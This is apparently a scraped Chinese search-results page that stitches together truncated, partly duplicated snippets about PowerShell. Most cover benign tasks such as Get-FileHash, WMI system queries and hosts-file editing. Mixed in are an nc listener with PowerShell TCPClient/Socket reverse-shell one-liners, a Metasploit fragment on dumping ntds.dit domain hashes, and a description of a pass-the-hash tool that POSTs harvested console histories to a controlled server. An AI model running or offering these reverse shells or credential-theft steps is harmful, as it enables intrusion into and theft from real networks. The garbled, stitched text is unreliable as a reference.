通常为了保证我们从网上下载的文件的完整性和可靠性，我们把文件下载下来以后都会校验一下MD5值或SHA1值（例如验证[下载的Win10 ISO镜像]是否为原始文件），这一般都需要借助专门的MD5检验工具来完成...但其实使用Windows系统自带的Windows PowerShell运行命令即可进行文件MD5、SHA1值校验。...校验文件Hash值的命令格式如下： > Get-FileHash 文件路径 -Algorithm 校验的Hash值类型| Format-List PS: 如果需要校验的文件路径比较复杂，例如路径中包含空格...巧用Win10自带的PowerShell命令校验文件的Hash值（MD5、SHA1/256等） 如果想要校验它的SHA1值，则运行如下命令： > Get-FileHash C:\Windows\notepad.exe...\文件哈希校验] "SubCommands"="MACTripleDES;MD5;RIPEMD160;SHA1;SHA256;SHA384;SHA512" "MUIVerb"="文件哈希校验" [
由于权限的设置，当文件被签出时导致别人不可见了，这对校验文件个数的人来说着实是件烦恼的事。幸好利用PowerShell，可以获取Site Collection下被签出的文件。...Resolution Add-PSSnapin Microsoft.SharePoint.PowerShell function GetAllCheckOutFiles([string]$siteUrl
nc -lnvup 53 powershell -nop -c "$s=New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily...powershell -c "whoami | % {$w=(New-Object System.IO.StreamWriter((New-Object System.Net.Sockets.TCPClient
本文告诉大家如何通过 WMI 获取补丁 通过 Win32_QuickFixEngineering 可以获取系统启动的服务 Get-WmiObject Win32_QuickFixEngineering
本文告诉大家如何通过 WMI 获取补丁 通过 Win32_QuickFixEngineering 可以获取系统启动的服务 Get-WmiObject Win32_QuickFixEngineering...QuickFixEngineering class - Windows applications ---- 本文会经常更新，请阅读原文： https://lindexi.gitee.io/post/PowerShell
使用图形界面发现修改不了host文件，这里提供一种方法： 1.按win+X组合键 2.点击Wodows PowerShell(管理员) 3.输入 cd C:\Windows\System32\drivers...\etc cd C:\Windows\System32\drivers\etc 4.输入ls 看是否存在host文件（我们可以看到host文件的权限） 5.输入 notepad hosts...notepad hosts 此时会已记事本形式打开host文件 在里面加你想要加入的域名即可， 6.然后点击文件，点击保存。
本文告诉大家如何通过 WMI 获取系统服务 通过 Win32_Service 可以获取系统启动的服务 Get-WmiObject Win32_Service | Format-List Caption,...Caption : Apple Mobile Device Service State : Running Caption : iPod 服务 State : Running 通过上面代码可以获取服务当前是否启动...，还可以加上 StartMode 获取服务启动方法，可以选择手动启动，不自动启动和开机启动 Get-WmiObject Win32_Service | Format-List Caption,State
在 PowerShell 可以很容易使用 WMI 拿到系统的信息，如果有关注我的网站，就会发现我写了很多通过 WMI 拿到系统的显卡，系统安装的软件等方法，本文告诉大家如果通过 PowerShell 拿到...WMI 类里面的属性 在 Windows 系统通过 Windows Management Instrumentation (WMI) 统一管理系统的配置，在 PowerShell 能使用 WMI 的功能进行获取系统...很少有人知道 WMI 里面包含了多少可以使用的类，包括我之前写的很多博客，实际上也只是里面的很少，通过下面的例子告诉大家如何获取设备里面包含的类 获取 WMI 类 在使用 WMI 之前需要知道 WMI...拿到显卡信息 PowerShell 通过 WMI 获取设备厂商 PowerShell 通过 WMI 获取系统信息 PowerShell 通过 WMI 获取系统安装的驱动 PowerShell...通过 WMI 获取系统服务 PowerShell 通过 WMI 获取补丁 PowerShell 通过 WMI 获取系统安装软件 Getting WMI Objects Get WmiObject
本文告诉大家如何通过 WMI 获取系统服务 通过 Win32_Service 可以获取系统启动的服务 Get-WmiObject Win32_Service | Format-List Caption,...Caption : Apple Mobile Device Service State : Running Caption : iPod 服务 State : Running 通过上面代码可以获取服务当前是否启动...，还可以加上 StartMode 获取服务启动方法，可以选择手动启动，不自动启动和开机启动 Get-WmiObject Win32_Service | Format-List Caption,State...Win32_Service class - Windows applications ---- 本文会经常更新，请阅读原文： https://lindexi.gitee.io/post/PowerShell
本文告诉大家如何通过 WMI 使用 Win32_OperatingSystem 获取设备厂商 通过下面代码可以获取 系统版本和系统是专业版还是教育版 Get-WmiObject Win32_OperatingSystem
本文告诉大家如何通过 WMI 使用 Win32_OperatingSystem 获取设备厂商 通过下面代码可以获取 系统版本和系统是专业版还是教育版 Get-WmiObject Win32_OperatingSystem...OperatingSystem class - Windows applications ---- 本文会经常更新，请阅读原文： https://lindexi.gitee.io/post/PowerShell
在信息安全和数据完整性领域，哈希值是一个非常重要的概念。它能帮助我们验证文件的完整性，确保文件在传输或存储过程中没有被篡改。两种常见的哈希算法是MD5和SHA-256。...在本文中，我们将探讨如何在PowerShell环境中计算文件的MD5和SHA-256哈希值。 哈希值简介 哈希值是通过特定算法从数据中生成的固定长度的字符串。...计算MD5哈希值 在PowerShell中，我们可以使用Get-FileHash命令来计算文件的哈希值。该命令提供了多种哈希算法的选项，包括MD5。...下面是计算指定文件MD5哈希值的示例： $filePath = "C:\path\to\your\file.txt" $md5Hash = $md5Hash.Hash 在上述脚本中，我们首先指定了要计算哈希值的文件路径...的Get-FileHash命令，我们可以轻松地计算文件的MD5和SHA-256哈希值，为数据完整性和安全性提供保障。
这些文件可以与impacket等其他工具一起使用，这些工具可用于执行活动目录密码哈希值的提取。ntds.dit 和 SYSTEM会放在 /root/.msf4/loot/ 文件夹下： ?...之后就可以使用 impacket 工具包等解析 ntds.dit文件，导出域账号和域散列值了。 Metasploit 会话获取域账号和哈希值 首先是使用 msf 反弹了一个域控的 shell： ?
本文告诉大家如何通过 WMI 使用Win32_ComputerSystem获取设备厂商 通过下面代码可以获取 机器型号 和 制造厂商 Get-WmiObject Win32_ComputerSystem
本文告诉大家如何通过 WMI 使用Win32_ComputerSystem获取设备厂商 通过下面代码可以获取 机器型号 和 制造厂商 Get-WmiObject Win32_ComputerSystem...ComputerSystem class - Windows applications ---- 本文会经常更新，请阅读原文： https://lindexi.gitee.io/post/PowerShell
本文告诉大家如何通过 WMI 获取系统安装的软件 通过 Win32_Product 可以获取系统安装的软件 Get-WmiObject Win32_Product | Format-List Caption
本文告诉大家如何通过 WMI 获取系统安装的软件 通过 Win32_Product 可以获取系统安装的软件 Get-WmiObject Win32_Product | Format-List Caption...News - Group Policy Software - SDM Software ---- 本文会经常更新，请阅读原文： https://lindexi.gitee.io/post/PowerShell
使用 PowerShell 获取 CLR 版本号 2017-09-27 16:24 在我之前写的一篇文章.NET Framework 4.x...不过其中并没有给出方法获取 CLR 的版本号。本文将给出几种方便的获取 CLR 版本号的方法。...---- 写代码获取 .NET Framework 的 System.Environment 类型的 Version 属性直接可以获取到版本号。于是只需要简单写一个控制台程序即可获取。...用 PowerShell 获取 考虑到 PowerShell 可以直接使用到 .NET Framework 中的类型，于是上面的代码很容易直接翻译成 PowerShell 脚本： PS C:\Users...不过既然是 PowerShell，那就有更多可以尝试的方法，比如说直接拿 PowerShell 的全局变量： PS C:\Users\lvyi> $PSVersionTable Name
windows 10下解压.gz后缀文件 打开windows powershell界面， （1）输入cd desktop(文件的存储位置，示例为存储在电脑桌面上)， （2）输入tar -zxvf 需要解压的文件名称
可针对多台主机验证密码哈希是否为有效的管理员凭证，并能够从该凭证具有管理员权限的所有系统中提取每个配置文件下的所有PowerShell PSReadline控制台历史记录文件。...获取地址：https://github.com/dafthack/Check-LocalAdminHash历史记录收集需求在最近的一次评估中，我需要收集网络中所有系统的PowerShell控制台历史记录文件...自PowerShell 5版本起，所有在PowerShell终端中输入的内容都会被记录到磁盘文件中，可能包含密码等敏感信息。...技术方案实现通过组合多种现有工具实现功能：使用PowerView模块获取域中所有计算机列表利用Kevin Robertson的Invoke-TheHash工具进行哈希传递认证通过Invoke-WMIExec...连接每个主机并执行编码的PowerShell命令发现系统所有配置文件中的PSReadline文件后，通过POST请求发送到可控Web服务器Check-LocalAdminHash功能特性该脚本可作为独立工具验证密码哈希在网络中的管理员权限分布
云服务器
ICP备案
云直播
即时通信 IM
对象存储
